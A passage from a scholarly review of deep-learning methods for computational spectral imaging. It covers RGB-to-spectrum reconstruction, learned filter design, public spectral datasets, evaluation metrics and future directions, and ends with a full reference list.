Early works of wavelength-coded spectral reconstruction is pixel-wise on RGB images. They consider the reduced problem of how to reconstruct a spectrum vector that has more channels from a 3-channel RGB vector, without knowing the camera’s RGB-filter response. In general, these pixel-wise approaches seek a representation of the single spectrum (either manifold embedding or basis functions) and develops methods to reconstruct spectrum from that representation.
There are two modalities of methods on spectrum representation: (i) spectrum manifold learning that seeks the hidden manifold embedding space to express the spectrum effectively; (ii) basis function fitting that expands the spectrum as a set of basis functions, and fit a small number of coefficients.
#### Spectrum manifold learning
This approach assumes that a spectrum y is controlled by a vector x in the low-dimensional manifold $${{{\mathcal{M}}}}$$ and tries to find the mapping f that relates y with x:
$${{{\bf{y}}}}\,=\,f({{{\bf{x}}}}),\quad {{{\bf{y}}}}\,\in\, {{{\mathcal{D}}}},f\,\in\, {{{\mathcal{F}}}},{{{\bf{x}}}}\,\in\, {{{\mathcal{M}}}}$$
(18)
where $${{{\mathcal{D}}}}$$ is the high-dimensional data space (commonly, $${{{\mathcal{M}}}}\,=\,{{\mathbb{R}}}^{m},{{{\mathcal{D}}}}\,=\,{{\mathbb{R}}}^{n}.m,n\,\in\, {\mathbb{N}}$$ is the space dimension). $${{{\mathcal{F}}}}$$ is a functional space that contains functions mapping data from $${{{\mathcal{M}}}}$$ to $${{{\mathcal{D}}}}$$.
Manifold learning assumes a low-dimensional manifold $${{{\mathcal{M}}}}$$ embedded in the high-dimensional data space $${{{\mathcal{D}}}}$$, and attempts to recover $${{{\mathcal{M}}}}$$ from the data drawn in $${{{\mathcal{D}}}}$$. Reference56 proposed a three-step method: (i) Find an appropriate dimension of the manifold space through Isometric Feature Mapping (Isomap57); (ii) Train a radial basis function (RBF) network to embed the RGB vector in $${{{\mathcal{M}}}}$$, which determines the inverse of f in Eq. (18); (iii) Use dictionary learning to map the manifold representation in $${{{\mathcal{M}}}}$$ back to the spectra space, which determines the function f in Eq. (18). The RBF network and dictionary learning method can be substituted by deep neural networks (such as AutoEncoder) to improve the performance, hence the manifold-based reconstruction can be further promoted.
#### Basis function fitting
This approach assumes that a spectrum y = y(λ) is expanded by a set of basis functions {ϕ1(λ), … , ϕN(λ)}:
$$y(\lambda )\,=\,\mathop{\sum }\limits_{i\,=\,1}^{N}{\alpha }_{i}{\phi }_{i}(\lambda )$$
(19)
where α are the coefficients to fit.
In a short note by Glassner17, a simple matrix inversion method was developed for RGB-to-spectrum conversion, but the resultant spectrum only has three nonzero components, which is rare in real world. At the end of the note, the author reported a weighted basis function fitting approach to construct spectrum from RGB triplet, with constant, sine, and cosine three functions. To render light interference, Sun et al.18 compared different basis functions for deriving spectra from colors and proposed an adaptive method that uses Gaussian functions. Nguyen et al.20 further developed the basis function approach, proposing a data-driven method that learns RBF to map illumination normalized RGB image to spectral image.
In ref. 21, an over-complete hyperspectral dictionary was constructed using K-SVD algorithm from the proposed dataset, which contained a set of nearly orthogonal vectors that can be seen as learned basis functions. Similar to the dictionary learning approach, deep-learning tools can be used for learning basis functions. In ref. 58, basis functions are generated during training, and coefficients are predicted through a U-Net at test time. It is very computationally efficient since it only needs to fit a small number of coefficients during the test time. Although the spectral reconstruction accuracy is not as high as other CNN-based methods (which sufficiently extract spectral patch correlation), it is the fastest method in NTIRE 2020 with reconstruction time only 34 ms per image.
### RGB Patch-wise spectral reconstruction
As reported in ref. 22, spectra within an image patch has certain correlation. However, pixel-wise approaches cannot exploit such correlation, which may lead to poor reconstruction accuracy in comparison with patch-wise approaches. In ref. 59, a handmade patch feature through convolution operation was proposed, which extracts neighborhood feature of a RGB pixel from the training spectral dataset. This work gave a practical idea of how to utilize such patch feature in a spectral image, which is just suitable for convolutional neural networks (CNNs).
CNNs can perform more complex feature extraction through multiple convolution operators. In 2017, Xiong et al. proposed HSCNN23 to apply a CNN on up-sampled RGB and amplitude-coded measurements for spectral reconstruction. At the same year, Galliani et al. proposed learned spectral super-resolution60, using a CNN for end-to-end RGB to spectral image reconstruction. Their works obtained good spectral reconstruction accuracy on many open spectral datasets, encouraging later works on CNN-based spectral reconstruction. The number of similar works grew rapidly as New Trends in Image Restoration and Enhancement (NTIRE) challenge was hosted in 201861 and 202025, where many deep-learning groups joined in and contributed to the exploitation of various network structures for spectral reconstruction.
Neural network-based methods takes the advantage of deep learning and can better grasp the patch spectra correlation. Diverse network structures as well as advanced deep-learning techniques are exploited by different works, which are arranged in Table 2.
We can gain some inspirations from Table 2. First, most works are CNN-based, this perhaps because CNN can better extract patch spectral information than generative adversarial networks (GANs). There was a work based on conditional GAN (cGAN)62, which takes RGB image as conditional input. They also used L1 distance loss (mean absolute error loss) as ref. 63 to encourage less blur, but the reconstruction accuracy was not better than HSCNN23 (ref. 62 has relative root-mean-square error (RMSE) 0.0401 on ICVL dataset, while HSCNN has 0.0388).
Moreover, many advanced deep-learning techniques are introduced and shown to be effective. For instance, residual blocks64 and dense structure65 become increasingly common. This is because residual connection can broaden the network’s receptive field and dense structure can enhance the feature passing process, resulting in better extraction of spectral patch correlation. Attention mechanism66 is a popular deep-learning technique and is also introduced in spectral imaging works. For spectral reconstruction, there are two kinds of attention: spatial attention (e.g., the self-attention layer67,68) and spectral attention (channel attention69). Attention module learns a spatial or spectral weight, helping the network focus on the informative parts of the spectral image. Feature fusion is the concatenation of multiple parallel layers, which was researched in ref. 70. It was adopted in refs. 71,72,73 and showed positive influence on spectral reconstruction. Finally, ensemble technique is encouraged to further promote the network performance. Model ensemble and self ensemble are two kinds of ensemble strategies. Model ensemble averages networks that are retrained with different parameters, while self ensemble averages the results of transformed input to the same network. Single network may fall into local minimum, which leads to poor generalization performance. By applying the ensemble technique, one can fuse the knowledge of multiple networks or different viewpoint to the same input. HRNet73 adopted model ensemble, and it showed improvement on reconstruction result.
Since the spectral reconstruction is a kind of image-to-image task, many works borrow effective deep-learning techniques from other image-to-image tasks, such as U-Net architecture from74 segmentation task, sub-pixel convolution layer75, channel attention69 from image super resolution task, and feature loss and style loss from image style transfer task76,77. This is also a way to introduce advanced deep-learning techniques into spectral reconstruction.
#### Towards illumination invariance
Object reflectance spectrum without illumination is a desired objection for spectral reconstruction, since it honestly reflects the scene components and properties. To recover object reflectance, one need to strip out environment illumination E from scene spectral radiance R, but it is inconvenient to measure the illumination spectra. Researchers often use illumination invariant property of the object spectrum to remove attached illumination from the scene radiance.
Reference20 proposed an approach to employ illumination invariance. They proposed RGB white-balancing to normalize the scene illumination. As an additional product, they can estimate the environment illumination by comparing reconstructed scene with the original scene. In ref. 78, Denoising AutoEncoder (DAE) was used to obtain robust spectrum from noised input, which contains original spectrum under different illumination conditions. Through this many-to-one mapping, reconstruction to spectrum became invariant to illumination.
#### Utilizing RGB-filter response
RGB-filter response is the wavelength encoding function Q in Eq. (16). In many works79,80, the RGB-filter response is termed camera spectral sensitivity (CSS) prior. To avoid semantic ambiguity of CSS and camera response D in Eq. (16), we substitute it with RGB-filter response.
RGB-filter response is not always accessible for practical applications, which is a notable problem. A common way to tackle it is using CIE color mapping function for simulation81. Reference79 proposed another solution to address this problem. They adopted a classification neural network to estimate a suitable RGB-filter response from the given camera sensitivity set. Then they can use the estimated filter response function and another network to recover the spectral signature. These two nets were trained together via a united loss function.
When RGB-filter response is known, RGB image can be reconstructed from spectral image, thus back-projection (or perceptual) loss can be used. Experiments have shown benefits to add the filter response prior in reconstruction. For example, AWAN80, who ranked 1st in NTIRE 2020 Clean track, adopted filter response curves in loss function and got a slight improvement on MRAE metric.
In ref. 82, the RGB-filter response Q is carefully exploited. They demonstrated that the reconstructed spectrum should follow the color fidelity property QTψ(I) = I, where ψ is the RGB-to-spectrum mapping and I is the RGB pixel intensity.
They defined the set of spectra that satisfy color fidelity as plausible set:
$${{{\mathcal{P}}}}(I;Q)\,=\,\left\{{{{\bf{r}}}}| {Q}^{T}{{{\bf{r}}}}\,=\,I\right\}$$
where r is spectrum. The concept of physically plausible was illustrated in Fig. 8.
They suggest that the reconstructed spectrum should contain two parts: one from the space spanned by three column filter response vectors in Q, and the other from the orthogonal complement space of the former. Formally, there exists an orthogonal basis $$B\in {{\mathbb{R}}}^{n-3}$$ such that BTQ = 0. Therefore, the spectrum to be reconstructed can be expanded as
$${{{\bf{r}}}}\,=\,{{{{\rm{P}}}}}^{{{{\rm{Q}}}}}{{{\bf{r}}}}\,+\,{{{{\rm{P}}}}}^{{{{\rm{B}}}}}{{{\bf{r}}}}$$
(20)
where PQ and PB are projection operators. Note that PQ can be precisely calculated in advance, which reduces the reconstruction calculation by 3 dimensions. The remaining task is estimating the spectrum vector in an orthogonal space of filter response vectors, which can be done by training a deep neural network.
### Beyond RGB filters
Since the RGB image has limited information, researchers tend to manually add more information before reconstruction. There are two ways to realize this: (i) using self-designed broadband wavelength encoding to expand the modulation range; (ii) increasing the number of encoding filters. Works in this area mainly use deep-learning tools to design filter response curves and perform spectral reconstruction83,84,85, since the modulation design and the reconstruction process are complicated in computation.
Based on the idea that traditional RGB camera’s spectral response function is suboptimal for spectrum reconstruction, Nie et al.83 employed CNNs to design filter response functions and jointly reconstruct spectral image. They observed the similarity between camera filter array and convolutional layer kernel (the Bayer filter mosaic is similar to a 2 × 2 convolution kernel) and used camera filters as a hardware-implementation layer of the network. Their result showed improvement than traditional RGB-filter-based methods. However, limited by the filter manufacture technology, they only considered filters that were commercially available.
With the maturity of the modern filter manufacture technology, flexible designed filters with specific response spectrum becomes realizable. Song et al. presented a joint learning framework for broadband filter design, named parameter constrained spectral encoder and decoder (PCSED)84, as illustrated in Fig. 9.
They jointly trained filter response curves (as spectral encoder) and decoder network for spectral reconstruction. Benefited from the development of thin-film filter manufacture industry, they can design various filter response functions that are favored by the decoder. They extended the work in ref. 85 and got impressive results. The developed hardware, broadband encoding stochastic (BEST) camera, demonstrated great improvements on noise tolerance, reconstruction speed and spectral resolution (301 channels). For the future direction, anti-noise optical filters produced from meta-surface is promising with the development of meta-surface theory and industry86.
#### Increasing filter number
Increasing filter number is a straightforward approach to enhance reconstruction accuracy by providing more encoding information. However, this will inevitably lead to bulky system volume. An alternative way to perform wavelength modulation is using liquid crystal (LC). In this way, changing the voltage will switch LC to a different modulation, thus it is convenient to use multiple modulations by applying different voltages. By fast changing the voltage on LC, multiple wavelength encoding operators can be obtained, which is equivalent to increasing filter numbers.
Based on different responses of the LC phase retarder to different wavelengths, the Compressive Sensing Miniature Ultra-Spectral Imager (CS-MUSI) architecture can modulate the spectra like multiple optical filters. Oiknine et al. reviewed spectral reconstruction with CS-MUSI instrument in ref. 87. They also proposed DeepCubeNet88 that adopted CS-MUSI system to perform 32 different wavelength modulations and used CNN for spectral image reconstruction.
## Spectral imaging datasets
Spectral dataset that contains realistic spectral-RGB image pairs are important for data-driven spectral imaging methods, especially for those using deep learning. CAVE89, NUS20, ICVL21 and KAIST30 are the most often used datasets for training and evaluation in spectral reconstruction researches. Other datasets like Harvard22, Hyperspectral & Color Imaging90, Scyllarus hyperspectral dataset91, C2H92 are also available. To promote the research of spectral reconstruction from RGB images, competitions were held on 2018 and 2020, where ICVL-expanded dataset (NTIRE 201861) and larger-than-ever database NTIRE 202025 were provided. We summarize the public available spectral image datasets in the following tables. Table 3 gives an overview of the spectral datasets and Table 4 provides a detailed description of the data.
Two problems still exist for these datasets: (i) insufficient capacity for extracting high-complexity spatial–spectral feature; (ii) unfixed train-test split. Some datasets don’t provide a fixed train-test split, causing unfair comparison among methods that use different train-test split strategy. Therefore, it is important to have a large but standard database. We hope the database has unparalleled scale, accuracy and diversity to boost future researches.
At present phase when such a giant standard dataset is not available, we think the popular datasets ICVL21, CAVE89, NUS20 and KAIST30 are sufficient for the reconstruction accuracy analysis on both spatial and spectral domain.
### Spectral image quality metrics
There are numerous metrics used for performance evaluation in spectral reconstruction, and we refer to ref. 93 for their definition and comparison.
In general, PSNR, structural similarity (SSIM) index and spectral angle map (SAM) are mostly used for amplitude-coded methods, while different metrics like root-mean square error (RMSE) and mean relative absolute error (MRAE) are applied on wavelength-coded methods. As a consequence, it is inconvenient to compare the performance between wavelength-coded and amplitude-coded methods. Therefore, for the convenience of the community to compare different methods, it is necessary to set unified metrics. We think some common metrics are needed for the comparison between the two methods. For example, SSIM, RMSE and RMAE can be employed by both methods at evaluation.
Furthermore, we also need metrics to compare the reconstruction speed. Different works perform spectral reconstruction for different resolution images on various computing devices. We think pixel reconstruction speed is a reliable metric to compare reconstruction speed. It is the average speed on test dataset divided by the the 3D resolution of the data (i.e., total pixels of the spectral data used for testing).
## Conclusions and future directions
We have summarized different computational spectral reconstruction methods that adopted deep neural networks, detailing their working principles and deep-learning techniques, under three encoding-decoding modalities: (i) Amplitude-coded. It uses coded aperture for amplitude encoding and is a compressive spectral imaging approach, which exploits compressive sensing theory and iterative optimization process for spectral reconstruction. Based on this feature, some learned reconstruction algorithms are designed to reduce the time consumption for optimization (e.g., unrolled networks), or use deep neural networks to improve the optimization accuracy (e.g., untrained networks). (ii) Phase-coded. It uses DOE to modulate the phase of the input light for each wavelength, and is physically based on Fresnel propagation to expand such phase modulation onto the resultant image. By leveraging creative design of DOE, it enjoys the compactness of the system and improved light throughput. (iii) Wavelength-coded. A common case of wavelength encoding is the RGB image. RGB-to-spectrum is essential in computational graphics, for the benefit of easy-tuning in rendering scenes with spectra on monitors. To extract spectra feature from the RGB data, deep-learning algorithms either map them to a manifold space, or explore the inherent spatial–spectral correlation. As an extension of the RGB-based approaches, multiple self-designed broadband filters for wavelength encoding is developed in recent years. It is more advantageous in the reconstruction precision of the spectra, but the results are also sensitive to the filter fabrication error and imaging noise.
For future directions, extra scene information is expected to promote the reconstruction performance on specific application. In C2H-Net92, object category and position was used as a prior, similar to the famous object detection framework YOLO94. Based on the observation that pixel patches with object information was often more important than background environment, they introduced object category and position into the reconstruction process. Using additional information can also benefit functional applications of spectral imaging. As a later work of C2H-Net, ref. 95 contributes to objection detection using spectral imaging with additional object information.
Additionally, joint encoder-decoder training is also an important direction. Encoder is the hardware layer before the reconstruction algorithm, such as coded aperture, DOE, or optical filter. Simultaneously training the encoder and decoder can provide the decoder with the coding information, thereby improving the performance39,84. However, two problems are waiting to be addressed. (i) Finding more efficient encoding hardware and modeling it into a network layer, such as using DOE to improve the light throughput. CS-MUSI architecture that can replace multiple filters88 is also encouraged to explore. (ii) Overcoming gradient vanishment. Since the hardware layer is the first layer of the whole deep neural network, when gradient propagates back, it is always very small, which in turn confines the possible change of the hardware layer. If the above two problems are elegantly solved, we believe the deep-learning-empowered computational spectral imaging can step further.
The past decade has witnessed a rapid expansion of deep neural networks in spectral imaging. Despite the success of deep learning, it still has a lot of room for further optimization. Reinforcement learning (RL) is a promising technique to improve the performance. To date, it proves useful to employ RL in finding optimal reconstruction network architectures (i.e., neural architecture search, NAS96). With the improvement of computing power, such techniques are promising to increase the performance of learned spectral imaging methods.
Finally, we think transformer-based large-scale deep-learning models have great potential in spectral reconstruction task. Transformer, first applied to the field of natural language processing, is a type of deep neural network mainly based on the self-attention mechanism66. It presents strong representation capabilities and has been widely applied in vision tasks97. However, such large-scale deep neural networks require huge data for training, hence large-than-ever spectral datasets are demanded, as suggested in section “Spectral Imaging Datasets”.
## References
1. Shaw, G. A. & Burke, H. H. K. Spectral imaging for remote sensing. Lincoln Lab. J. 14, 3–28 (2003).
2. Lu, G. L. & Fei, B. W. Medical hyperspectral imaging: a review. J. Biomed. Opt. 19, 010901 (2014).
3. Li, Q. L. et al. Review of spectral imaging technology in biomedical engineering: achievements and challenges. J. Biomed. Opt. 18, 100901 (2013).
4. Liang, H. D. Advances in multispectral and hyperspectral imaging for archaeology and art conservation. Appl. Phys. A 106, 309–323 (2012).
5. Feng, Y. Z. & Sun, D. W. Application of hyperspectral imaging in food safety inspection and control: a review. Crit. Rev. Food Sci. Nutr. 52, 1039–1058 (2012).
6. Vane, G. et al. The airborne visible/infrared imaging spectrometer (AVIRIS). Remote Sens. Environ. 44, 127–143 (1993).
7. Green, R. O. et al. Imaging spectroscopy and the airborne visible/infrared imaging spectrometer (AVIRIS). Remote Sens. Environ. 65, 227–248 (1998).
8. Rickard, L. J. et al. HYDICE: an airborne system for hyperspectral imaging. Proceedings of SPIE 1937, Imaging Spectrometry of the Terrestrial Environment, 173–179 (SPIE, 1993).
9. Basedow, R. W., Carmer, D. C. & Anderson, M. E. HYDICE system: implementation and performance. Proceedings of SPIE 2480, Imaging Spectrometry, 258–267 (SPIE, 1995).
10. Gat, N. Imaging spectroscopy using tunable filters: a review. Proceedings of SPIE 4056, Wavelet Applications VII, 50–64 (SPIE, 2000).
11. Gupta, N. Hyperspectral imager development at army research laboratory. Proceedings of SPIE 6940, Infrared Technology and Applications XXXIV, 69401P (SPIE, 2008).
12. Hagen, N. A. & Kudenov, M. W. Review of snapshot spectral imaging technologies. Opt. Eng. 52, 090901 (2013).
13. Candès, E. J., Romberg, J. & Tao, T. Robust uncertainty principles: exact signal reconstruction from highly incomplete frequency information. IEEE Trans. Inform. Theory 52, 489–509 (2006).
14. Donoho, D. L. Compressed sensing. IEEE Trans. Inform. Theory 52, 1289–1306 (2006).
15. Jeon, D. S. et al. Compact snapshot hyperspectral imaging with diffracted rotation. ACM Trans. Graph. 38, 117 (2019).
16. Hauser, J. et al. DD-Net: spectral imaging from a monochromatic dispersed and diffused snapshot. Appl. Opt. 59, 11196–11208 (2020).
17. Glassner, A. S. How to derive a spectrum from an RGB triplet. IEEE Computer Graph. Appl. 9, 95–99 (1989).
18. Sun, Y. L. et al. Deriving spectra from colors and rendering light interference. IEEE Computer Graph. Appl. 19, 61–67 (1999).
19. Smits, B. An RGB-to-spectrum conversion for reflectances. J. Graph. Tools 4, 11–22 (1999).
20. Nguyen, R. M. H., Prasad, D. K. & Brown, M. S. Training-based spectral reconstruction from a single RGB image. Proceedings of the 13th European Conference on Computer Vision, 186–201 (Springer, 2014).
21. Arad, B. & Ben-Shahar, O. Sparse recovery of hyperspectral signal from natural RGB images. Proceedings of the 14th European Conference on Computer Vision, 19–34 (Springer, 2016).
22. Chakrabarti, A. & Zickler, T. Statistics of real-world hyperspectral images. Proceedings of CVPR 2011. Colorado Springs: IEEEE, 2011, 193–200.
23. Xiong, Z. W. et al. HSCNN: CNN-based hyperspectral image recovery from spectrally undersampled projections. Proceedings of 2017 IEEE International Conference on Computer Vision Workshops, 518–525 (IEEE, 2017).
24. Wang, L. Z. et al. Hyperspectral image reconstruction using a deep spatial-spectral prior. Proceedings of 2019 IEEE/CVF Conference on Computer Vision and Pattern Recognition, 8024–8033 (IEEE, 2019).
25. Arad, B. et al. NTIRE 2020 challenge on spectral reconstruction from an RGB image. Proceedings of 2020 IEEE/CVF Conference on Computer Vision and Pattern Recognition Workshops, 1806–1822 (IEEE, 2020).
26. Gehm, M. E. et al. Single-shot compressive spectral imaging with a dual-disperser architecture. Opt. Express 15, 14013–14027 (2007).
27. Wagadarikar, A. et al. Single disperser design for coded aperture snapshot spectral imaging. Appl. Opt. 47, B44–B51 (2008).
28. Correa, C. V., Arguello, H. & Arce, G. R. Snapshot colored compressive spectral imager. J. Opt. Soc. Am. A 32, 1754–1763 (2015).
29. Lin, X. et al. Spatial-spectral encoded compressive hyperspectral imaging. ACM Trans. Graph. 33, 233 (2014).
30. Choi, I. et al. High-quality hyperspectral reconstruction using a spectral prior. ACM Trans. Graph. 36, 218 (2017).
31. Sun, Y. B. et al. Unsupervised spatial-spectral network learning for hyperspectral compressive snapshot reconstruction. IEEE Trans. Geosci. Remote Sens. 60, 1–14 (2022).
32. Rueda, H., Arguello, H. & Arce, G. R. Compressive spectral imaging based on colored coded apertures. Proceedings of 2014 IEEE International Conference on Acoustics, Speech and Signal Processing, 7799–7803 (IEEE, 2014).
33. Yuan, X. Generalized alternating projection based total variation minimization for compressive sensing. Proceedings of 2016 IEEE International Conference on Image Processing, 2539–2543 (IEEE, 2016).
34. Boyd, S. et al. Distributed optimization and statistical learning via the alternating direction method of multipliers. Found. Trends Machine Learn. 3, 1–122 (2011).
35. Zhang, T. et al. Hyperspectral image reconstruction using deep external and internal learning. Proceedings of 2019 IEEE/CVF International Conference on Computer Vision, 8558–8567 (IEEE, 2019).
36. Miao, X. et al. λ -Net: reconstruct hyperspectral images from a snapshot measurement. Proceedings of 2019 IEEE/CVF International Conference on Computer Vision, 4058–4068 (IEEE, 2019).
37. Candès, E. J. The restricted isometry property and its implications for compressed sensing. Comptes Rendus Math. 346, 589–592 (2008).
38. Arce, G. R. et al. Snapshot compressive multispectral cameras. in Wiley Encyclopedia of Electrical and Electronics Engineering (ed. Webster, J. G.) 1–22 (Wiley, 2017).
39. Wang, L. Z. et al. HyperReconNet: Joint coded aperture optimization and image reconstruction for compressive hyperspectral imaging. IEEE Trans. Image Proc. 28, 2257–2270 (2019).
40. Courbariaux, M., Bengio, Y. & David, J. P. BinaryConnect: training deep neural networks with binary weights during propagations. Proceedings of the 28th International Conference on Neural Information Processing Systems, 3123–3131 (NIPS, 2015).
41. Geman, D. & Yang, C. D. Nonlinear image recovery with half-quadratic regularization. IEEE Trans. Image Proc. 4, 932–946 (1995).
42. Wang, L. Z. et al. DNU: Deep non-local unrolling for computational spectral imaging. Proceedings of 2020 IEEE/CVF Conference on Computer Vision and Pattern Recognition, 1658–1668 (IEEE, 2020).
43. Sogabe, Y. et al. Admm-inspired reconstruction network for compressive spectral imaging. Proceedings of 2020 IEEE International Conference on Image Processing, 2865–2869(IEEE, 2020).
44. Lempitsky, V., Vedaldi, A. & Ulyanov, D. Deep image prior. Proceedings of 2018 IEEE/CVF Conference on Computer Vision and Pattern Recognition, 9446–9454 (IEEE, 2018).
45. Bacca, J., Fonseca, Y. & Arguello, H. Compressive spectral image reconstruction using deep prior and low-rank tensor representation. Appl. Opt. 60, 4197–4207 (2021).
46. Kim, Y. D. & Choi, S. Nonnegative tucker decomposition. Proceedings of 2007 IEEE Conference on Computer Vision and Pattern Recognition, 1–8 (IEEE, 2007).
47. Antipa, N. et al. DiffuserCam: lensless single-exposure 3D imaging. Optica 5, 1–9 (2018).
48. Monakhova, K. et al. Spectral DiffuserCam: lensless snapshot hyperspectral imaging with a spectral filter array. Optica 7, 1298–1307 (2020).
49. Golub, M. A. et al. Compressed sensing snapshot spectral imaging by a regular digital camera with an added optical diffuser. Appl. Opt. 55, 432–443 (2016).
50. Baek, S. H. et al. Single-Shot Hyperspectral-Depth Imaging With Learned Diffractive Optics. Proceedings of the IEEE/CVF International Conference on Computer Vision, 2651–2660 (IEEE, 2021).
51. Peng, Y. F. et al. Computational imaging using lightweight diffractive-refractive optics. Opt. Express 23, 31393–31407 (2015).
52. Heide, F. et al. Encoded diffractive optics for full-spectrum computational imaging. Sci. Rep. 6, 33543 (2016).
53. Peng, Y. F. et al. The diffractive achromat full spectrum computational imaging with diffractive optics. ACM Trans. Graph. 35, 31 (2016).
54. Kar, O. F. & Oktem, F. S. Compressive spectral imaging with diffractive lenses. Opt. Lett. 44, 4582–4585 (2019).
55. Monakhova, K. et al. Learned reconstructions for practical mask-based lensless imaging. Opt. Express 27, 28075–28090 (2019).
56. Jia, Y. et al. From RGB to spectrum for natural scenes via manifold-based mapping. Proceedings of 2017 IEEE International Conference on Computer Vision, 4715–4723 (IEEE, 2017).
57. Tenenbaum, J. B., De Silva, V. & Langford, J. C. A global geometric framework for nonlinear dimensionality reduction. Science 290, 2319–2323 (2000).
58. Fubara, B. J., Sedky, M. & Dyke, D. RGB to spectral reconstruction via learned basis functions and weights. Proceedings of 2020 IEEE/CVF Conference on Computer Vision and Pattern Recognition Workshops. 1984–1993 (IEEE, 2020).
59. Robles-Kelly, A. Single image spectral reconstruction for multimedia applications. Proceedings of the 23rd ACM International Conference on Multimedia, 251–260 (ACM, 2015).
60. Galliani, S. et al. Learned spectral super-resolution. https://arxiv.org/abs/1703.09470 (2017).
61. Arad, B. et al. NTIRE 2018 challenge on spectral reconstruction from RGB images. Proceedings of 2018 IEEE/CVF Conference on Computer Vision and Pattern Recognition Workshops, 1042–104209 (IEEE, 2018).
62. Alvarez-Gila, A., Van De Weijer, J. & Garrote, E. Adversarial networks for spatial context-aware spectral image reconstruction from RGB. Proceedings of 2017 IEEE International Conference on Computer Vision Workshops, 480–490 (Venice: IEEE, 2017).
63. Isola, P. et al. Image-to-image translation with conditional adversarial networks. Proceedings of 2017 IEEE Conference on Computer Vision and Pattern Recognition, 5967–5976 (IEEE, 2017).
64. He, K. M. et al. Deep residual learning for image recognition. Proceedings of 2016 IEEE Conference on Computer Vision and Pattern Recognition, 770–778 (Las Vegas: IEEE, 2016).
65. Huang, G. et al. Densely connected convolutional networks. Proceedings of 2017 IEEE Conference on Computer Vision and Pattern Recognition, 2261–2269 (IEEE, 2017).
66. Vaswani, A. et al. Attention is all you need. Proceedings of the 31st International Conference on Neural Information Processing Systems, 6000–6010 (NIPS, 2017).
67. Zhang, H. et al. Self-attention generative adversarial networks. Proceedings of the 36th International Conference on Machine Learning, 7354–7363 (PMLR, 2019).
68. Zhang, L. et al. Pixel-aware deep function-mixture network for spectral super-resolution. Proceedings of the 34th AAAI Conference on Artificial Intelligence, 12821–12828 (AAAI, 2020).
69. Zhang, Y. L. et al. Image super-resolution using very deep residual channel attention networks. Proceedings of the 15th European Conference on Computer Vision, 294–310 (Springer, 2018).
70. Zhao, L. M. et al. On the connection of deep fusion to ensembling. http://arxiv.org/abs/1611.07718 (2016).
71. Shi, Z. et al. HSCNN+: advanced CNN-based hyperspectral recovery from RGB images. Proceedings of 2018 IEEE/CVF Conference on Computer Vision and Pattern Recognition Workshops, 1052–10528 (IEEE, 2018).
72. Peng, H., Chen, X. M. & Zhao, J. Residual pixel attention network for spectral reconstruction from RGB images. Proceedings of 2020 IEEE/CVF Conference on Computer Vision and Pattern Recognition Workshops, 2012–2020 (IEEE, 2020).
73. Zhao, Y. Z. et al. Hierarchical regression network for spectral reconstruction from RGB images. Proceedings of 2020 IEEE/CVF Conference on Computer Vision and Pattern Recognition Workshops, 1695–1704 (IEEE, 2020).
74. Ronneberger, O., Fischer, P. & Brox, T. U-Net: convolutional networks for biomedical image segmentation. Proceedings of the 18th International Conference on Medical Image Computing and Computer-Assisted Intervention, 234–241 (Springer, 2015).
75. Shi, W. Z. et al. Real-time single image and video super-resolution using an efficient sub-pixel convolutional neural network. Proceedings of 2016 IEEE Conference on Computer Vision and Pattern Recognition, 1874–1883 (IEEE, 2016).
76. Gatys, L., Ecker, A. & Bethge, M. A neural algorithm of artistic style. J. Vis. 16, 326 (2016).
77. Johnson, J., Alahi, A. & Fei-Fei, L. Perceptual losses for real-time style transfer and super-resolution. Proceedings of the 14th European Conference on Computer Vision, 694–711 (Springer, 2016).
78. Windrim, L. et al. A physics-based deep learning approach to shadow invariant representations of hyperspectral images. IEEE Trans. Image Proc. 27, 665–677 (2018).
79. Kaya, B., Can, Y. B. & Timofte, R. Towards spectral estimation from a single RGB image in the wild. Proceedings of 2019 IEEE/CVF International Conference on Computer Vision Workshop, 3546–3555 (IEEE, 2019).
80. Li, J. J. et al. Adaptive weighted attention network with camera spectral sensitivity prior for spectral reconstruction from RGB images. Proceedings of 2020 IEEE/CVF Conference on Computer Vision and Pattern Recognition Workshops, 1894–1903 (IEEE, 2020).
81. Schanda, J. CIE 1931 and 1964 standard colorimetric observers: history, data, and recent assessments. in Encyclopedia of Color Science and Technology (ed. Luo, M. R.), 125–129 (Springer, 2016).
82. Lin, Y. T. & Finlayson, G. D. Physically plausible spectral reconstruction. Sensors 20, 6399 (2020).
83. Nie, S. J. et al. Deeply learned filter response functions for hyperspectral reconstruction. Proceedings of 2018 IEEE/CVF Conference on Computer Vision and Pattern Recognition, 4767–4776 (IEEE, 2018).
84. Song, H. Y. et al. Deep-learned broadband encoding stochastic filters for computational spectroscopic instruments. Adv. Theory Simul. 4, 2000299 (2021).
85. Zhang, W. Y. et al. Deeply learned broadband encoding stochastic hyperspectral imaging. Light: Sci. Appl. 10, 108 (2021).
86. Han, X. et al. Inverse design of metasurface optical filters using deep neural network with high degrees of freedom. InfoMat 3, 432–442 (2021).
87. Oiknine, Y. et al. Compressive sensing hyperspectral imaging by spectral multiplexing with liquid crystal. J. Imag. 5, 3 (2019).
88. Gedalin, D., Oiknine, Y. & Stern, A. DeepCubeNet: reconstruction of spectrally compressive sensed hyperspectral images with deep neural networks. Opt. Express 27, 35811–35822 (2019).
89. Yasuma, F. et al. Generalized assorted pixel camera: postcapture control of resolution, dynamic range, and spectrum. IEEE Trans. Image Proc. 19, 2241–2253 (2010).
90. Hyperspectral & Color Imaging. Hyperspectral Images Database. https://sites.google.com/site/hyperspectralcolorimaging/dataset.
91. Habili, N., Oorloff, J. & Wei, R. Scyllarus hyperspectral dataset. https://scyllarus.data61.csiro.au/data/.
92. Yan, L. B. et al. Reconstruction of hyperspectral data from RGB images with prior category information. IEEE Trans. Comput. Imag. 6, 1070–1081 (2020).
93. Shrestha, R. et al. Quality evaluation in spectral imaging-quality factors and metrics. J. Int. Colour Assoc.10, 22–35 (2014).
94. Redmon, J. et al. You only look once: unified, real-time object detection. Proceedings of 2016 IEEE Conference on Computer Vision and Pattern Recognition, 779–788 (IEEE, 2016).
95. Yan, L. B. et al. Object detection in hyperspectral images. IEEE Signal Proc. Lett. 28, 508–512 (2021).
96. Zoph, B. & Le, Q. V. Neural architecture search with reinforcement learning. https://arxiv.org/abs/1611.01578 (2016).
97. Han, K. et al. A survey on vision transformer. https://arxiv.org/abs/2012.12556 (2020).
98. Stiebel, T. et al. Reconstructing spectral images from RGB-images using a convolutional neural network. Proceedings of 2018 IEEE/CVF Conference on Computer Vision and Pattern Recognition Workshops, 948–953 (IEEE, 2018).
99. Can, Y. B. & Timofte, R. An efficient CNN for spectral reconstruction from RGB images. https://arxiv.org/abs/1804.04647 (2018).
